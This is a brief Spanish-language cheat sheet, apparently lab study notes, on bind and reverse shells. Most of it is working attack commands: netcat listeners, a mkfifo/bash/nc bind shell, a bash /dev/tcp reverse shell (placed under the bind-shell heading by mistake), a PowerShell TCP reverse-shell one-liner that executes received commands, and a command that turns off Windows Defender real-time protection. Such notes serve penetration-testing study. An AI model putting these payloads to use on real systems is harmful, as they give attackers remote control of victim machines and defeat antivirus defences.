Bind / Reverse Shell

Un emulador de terminal es una aplicación que usamos para interactuar con el shell del sistema operativo. Ejemplos: Windows Terminal, cmder, PuTTY (Windows); kitty, Alacritty (multiplataforma); xterm, GNOME Terminal, Konsole (Linux); Terminal, iTerm2 (macOS).

Bind Shell

Un bind shell funciona creando un listener (escucha) en el sistema objetivo (la víctima) y el atacante conectandose

Usando Bind Shell con Netcat

Paso 1: Inicia el listener en la máquina víctima
terminal
$ nc -lvnp 7777
Paso 2: Conectarse desde la máquina atacante
terminal
$ nc -nv 10.129.41.200 7777

Crear un bind shell

Paso 1: Configuramos un bind shell en la máquina víctima
bash
$ rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l 10.129.41.200 7777 > /tmp/f
Paso 2: Conectamos desde la máquina atacante
terminal
$ nc -nv 10.129.41.200 7777
Tambien hay otra forma
terminal
bash -c 'bash -i >& /dev/tcp/10.10.16.68/4444 0>&1'

Reverse Shell

Paso 1: Configuramos un listener en la máquina atacante
terminal
$ sudo nc -lvnp 443
Paso 2: Ejecutamos el payload en la máquina víctima
powershell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Si tenemos permiso de administrador podemos desactivar el antivirus
powershell
Set-MpPreference -DisableRealtimeMonitoring $true